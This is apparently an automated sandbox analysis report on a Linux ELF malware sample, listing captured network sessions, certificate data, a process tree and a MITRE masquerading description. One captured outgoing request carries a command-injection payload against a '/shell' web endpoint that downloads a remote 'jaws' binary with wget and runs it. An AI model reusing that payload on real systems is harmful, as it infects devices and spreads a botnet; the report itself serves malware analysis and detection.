74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 0d 0a 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 53 63 68 65 6d 61 2e 6f 72 67 20 6d 61 72 6b 75 70 20 66 6f 72 20 47 6f 6f 67 6c 65 2b 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 70 75 62 6c 69 63 2f 61 73 Data Ascii: e318<!DOCTYPE html><html lang="id"><head> <meta name="csrf-token" content="2FxrCyMWNdApfawEA6axuUN92OJmAzlAib1TNWAx"> <meta name="app-url" content="//127.0.0.1:80/"> <meta name="file-base-url" content="//127.0.0.1:80/public/"> <title>AudioLogger \| LPP RRI</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="index, follow"> <meta name="description" content="" /> <meta name="keywords" content=""> ... Schema.org markup for Google+ --> <meta itemprop="name" content=""> <meta itemprop="description" content=""> <meta itemprop="image" content="http://127.0.0.1/public/as
Apr 14, 2024 04:01:54.311682940 CEST	1289	IN	Data Raw: 30 3b 30 2c 32 30 30 3b 30 2c 33 30 30 3b 30 2c 34 30 30 3b 30 2c 35 30 30 3b 30 2c 36 30 30 3b 30 2c 37 30 30 3b 30 2c 38 30 30 3b 30 2c 39 30 30 3b 31 2c 31 30 30 3b 31 2c 32 30 30 3b 31 2c 33 30 30 3b 31 2c 34 30 30 3b 31 2c 35 30 30 3b 31 2c Data Ascii: 0;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap" rel="stylesheet"> ... CSS Files --> <link rel="stylesheet" href="http://127.0.0.1/public/assets/css/vendors.css"
Apr 14, 2024 04:01:54.311749935 CEST	1289	IN	Data Raw: 73 65 74 73 2f 69 6d 67 2f 70 6c 61 63 65 68 6f 6c 64 65 72 2e 6a 70 67 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 54 77 69 74 74 65 72 20 43 61 72 64 20 64 61 74 61 20 2d 2d 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 Data Ascii: sets/img/placeholder.jpg"> ... Twitter Card data --> <meta name="twitter:card" content="product"> <meta name="twitter:site" content="@publisher_handle"> <meta name="twitter:title" content=""> <me
Apr 14, 2024 04:01:54.311765909 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 63 6f 6d 70 6c 65 74 65 3a 20 27 43 6f 6d 70 6c 65 74 65 27 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 65 3a 20 27 46 69 6c 65 27 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 65 73 3a 20 27 46 69 6c Data Ascii: complete: 'Complete', file: 'File', files: 'Files', } </script> <style> :root{ --blue: #3490f3; --gray: #9d9da6; --gray-dark: #8d8d8d;
Apr 14, 2024 04:01:54.311779022 CEST	1289	IN	Data Raw: 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 64 61 72 6b 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 2e 70 61 67 69 6e 61 74 69 6f 6e 20 2e 70 61 67 65 2d 69 74 65 6d 20 7b 0d 0a Data Ascii: t; color: var(--dark); } .pagination .page-item { margin: 0 5px; } .aiz-carousel.coupon-slider .slick-track{ margin-left: 0; } .form-control:focus
Apr 14, 2024 04:01:54.311794043 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: class="dropdown-item "> <img src="http://127.0.0.1/public/assets/img/placeholder.jpg" data-src="http://127.0.
Apr 14, 2024 04:01:54.311809063 CEST	1289	IN	Data Raw: 3c 21 2d 2d 20 45 6e 64 20 4d 61 74 6f 6d 6f 20 43 6f 64 65 20 2d 2d 3e 0d 0a 0d 0a 0d 0a 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 61 69 7a 2d 6d 61 69 6e 2d 77 72 61 70 70 65 72 20 2d 2d 3e 0d 0a 20 20 Data Ascii: ... End Matomo Code --></head><body> ... aiz-main-wrapper --> <div class="aiz-main-wrapper d-flex flex-column bg-white"> ... Header --> ... Top Bar Banner --> ... Top Bar --> <div cl
Apr 14, 2024 04:01:54.311822891 CEST	1289	IN	Data Raw: 20 20 20 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </a> </li> </ul> </li> ... Currency Switcher -->
Apr 14, 2024 04:01:54.311836004 CEST	1289	IN	Data Raw: 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 72 65 63 74 20 69 64 3d 22 52 65 63 74 61 6e 67 6c 65 5f 31 39 30 36 32 22 20 Data Ascii: "16" viewBox="0 0 16 16"> <rect id="Rectangle_19062" data-name="Rectangle 19062" width="16" height="2" transform="translate(0 7)" fill="#919199" /> <rec
Apr 14, 2024 04:01:54.311853886 CEST	1289	IN	Data Raw: 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 70 2d 32 20 64 2d 62 6c 6f 63 6b 20 74 65 78 74 2d 72 65 73 65 74 22 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 76 6f 69 Data Ascii: "> <a class="p-2 d-block text-reset" href="javascript:void(0);" data-toggle="class-toggle" data-target=".front-header-search"> <i class="las la-search la-flip-h

Session ID	Source IP	Source Port	Destination IP	Destination Port
2665	192.168.2.13	49708	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.966986895 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:41Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2666	192.168.2.13	33566	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.048779964 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 36 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:56Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2667	192.168.2.13	49972	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.326682091 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:42Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2668	192.168.2.13	49994	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.654648066 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:42Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2669	192.168.2.13	33852	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:54.704025984 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:57Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2670	192.168.2.13	50006	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:55.014226913 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:42Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2671	192.168.2.13	50018	154.204.204.135	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:55.310817957 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 34 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:43Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2672	192.168.2.13	33876	154.212.248.4	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:55.375781059 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 31 3a 35 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:01:58Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
2673	192.168.2.13	55036	218.145.157.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:55.478116035 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Apr 14, 2024 03:59:51.832977057 CEST	34.243.160.129	443	192.168.2.13	50528	CN=motd.ubuntu.com CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US	Thu Mar 07 10:27:55 CET 2024 Fri Sep 04 02:00:00 CEST 2020	Wed Jun 05 11:27:54 CEST 2024 Mon Sep 15 18:00:00 CEST 2025	771,4866-4867-4865-49196-49200-163-159-52393-52392-52394-49327-49325-49315-49311-49245-49249-49239-49235-49195-49199-162-158-49326-49324-49314-49310-49244-49248-49238-49234-49188-49192-107-106-49267-49271-196-195-49187-49191-103-64-49266-49270-190-189-49162-49172-57-56-136-135-49161-49171-51-50-69-68-157-49313-49309-49233-156-49312-49308-49232-61-192-60-186-53-132-47-65-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2	fb4726d465c5f28b84cd6d14cedd13a7
Apr 14, 2024 03:59:51.832977057 CEST	34.243.160.129	443	192.168.2.13	50528	CN=R3, O=Let's Encrypt, C=US	CN=ISRG Root X1, O=Internet Security Research Group, C=US	Fri Sep 04 02:00:00 CEST 2020	Mon Sep 15 18:00:00 CEST 2025		fb4726d465c5f28b84cd6d14cedd13a7

System Behavior

Analysis Process: VkiGKeyI3L.elf PID: 5474, Parent PID: 5395

General

Start time (UTC):	01:59:48
Start date (UTC):	14/04/2024
Path:	/tmp/VkiGKeyI3L.elf
Arguments:	/tmp/VkiGKeyI3L.elf
File size:	107504 bytes
MD5 hash:	669fd3cb15554ae292bac7ad853afc4d

Start time (UTC):	01:59:48
Start date (UTC):	14/04/2024
Path:	/tmp/VkiGKeyI3L.elf
Arguments:	-
File size:	107504 bytes
MD5 hash:	669fd3cb15554ae292bac7ad853afc4d

Start time (UTC):	01:59:48
Start date (UTC):	14/04/2024
Path:	/tmp/VkiGKeyI3L.elf
Arguments:	-
File size:	107504 bytes
MD5 hash:	669fd3cb15554ae292bac7ad853afc4d

Start time (UTC):	01:59:48
Start date (UTC):	14/04/2024
Path:	/tmp/VkiGKeyI3L.elf
Arguments:	-
File size:	107504 bytes
MD5 hash:	669fd3cb15554ae292bac7ad853afc4d

Analysis Process: VkiGKeyI3L.elf PID: 5478, Parent PID: 5475

General

Start time (UTC):	01:59:48
Start date (UTC):	14/04/2024
Path:	/tmp/VkiGKeyI3L.elf
Arguments:	-
File size:	107504 bytes
MD5 hash:	669fd3cb15554ae292bac7ad853afc4d

Analysis Process: VkiGKeyI3L.elf PID: 5480, Parent PID: 5475

General

Start time (UTC):	01:59:48
Start date (UTC):	14/04/2024
Path:	/tmp/VkiGKeyI3L.elf
Arguments:	-
File size:	107504 bytes
MD5 hash:	669fd3cb15554ae292bac7ad853afc4d

Analysis Process: VkiGKeyI3L.elf PID: 5481, Parent PID: 5475

General

Start time (UTC):	01:59:48
Start date (UTC):	14/04/2024
Path:	/tmp/VkiGKeyI3L.elf
Arguments:	-
File size:	107504 bytes
MD5 hash:	669fd3cb15554ae292bac7ad853afc4d

Analysis Process: VkiGKeyI3L.elf PID: 5482, Parent PID: 5475

General

Start time (UTC):	01:59:48
Start date (UTC):	14/04/2024
Path:	/tmp/VkiGKeyI3L.elf
Arguments:	-
File size:	107504 bytes
MD5 hash:	669fd3cb15554ae292bac7ad853afc4d

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.IYUtWQoua1 /tmp/tmp.dkiIyFheOB /tmp/tmp.VG7yU2zJFi
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/cat
Arguments:	cat /tmp/tmp.IYUtWQoua1
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/head
Arguments:	head -n 10
File size:	47480 bytes
MD5 hash:	fd96a67145172477dd57131396fc9608

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/tr
Arguments:	tr -d \\000-\\011\\013\\014\\016-\\037
File size:	51544 bytes
MD5 hash:	fbd1402dd9f72d8ebfff00ce7c3a7bb5

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/cut
Arguments:	cut -c -80
File size:	47480 bytes
MD5 hash:	d8ed0ea8f22c0de0f8692d4d9f1759d3

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/cat
Arguments:	cat /tmp/tmp.IYUtWQoua1
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/head
Arguments:	head -n 10
File size:	47480 bytes
MD5 hash:	fd96a67145172477dd57131396fc9608

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/tr
Arguments:	tr -d \\000-\\011\\013\\014\\016-\\037
File size:	51544 bytes
MD5 hash:	fbd1402dd9f72d8ebfff00ce7c3a7bb5

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/cut
Arguments:	cut -c -80
File size:	47480 bytes
MD5 hash:	d8ed0ea8f22c0de0f8692d4d9f1759d3

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	01:59:51
Start date (UTC):	14/04/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.IYUtWQoua1 /tmp/tmp.dkiIyFheOB /tmp/tmp.VG7yU2zJFi
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	01:59:54
Start date (UTC):	14/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	01:59:54
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	01:59:54
Start date (UTC):	14/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	01:59:54
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	01:59:54
Start date (UTC):	14/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	01:59:54
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	01:59:54
Start date (UTC):	14/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	01:59:54
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	02:00:02
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	-
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	02:00:02
Start date (UTC):	14/04/2024
Path:	/usr/sbin/xfpm-power-backlight-helper
Arguments:	/usr/sbin/xfpm-power-backlight-helper --get-max-brightness
File size:	14656 bytes
MD5 hash:	3d221ad23f28ca3259f599b1664e2427

Start time (UTC):	01:59:54
Start date (UTC):	14/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	01:59:54
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	01:59:54
Start date (UTC):	14/04/2024
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	01:59:54
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	02:00:02
Start date (UTC):	14/04/2024
Path:	/usr/bin/dbus-daemon
Arguments:	-
File size:	249032 bytes
MD5 hash:	3089d47e3f3ab84cd81c48fd406d7a8c

Start time (UTC):	02:00:02
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
File size:	112880 bytes
MD5 hash:	4c7a0d6d258bb970905b19b84abcd8e9

Start time (UTC):	02:00:05
Start date (UTC):	14/04/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time (UTC):	02:00:05
Start date (UTC):	14/04/2024
Path:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd
File size:	112872 bytes
MD5 hash:	eee956f1b227c1d5031f9c61223255d1

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
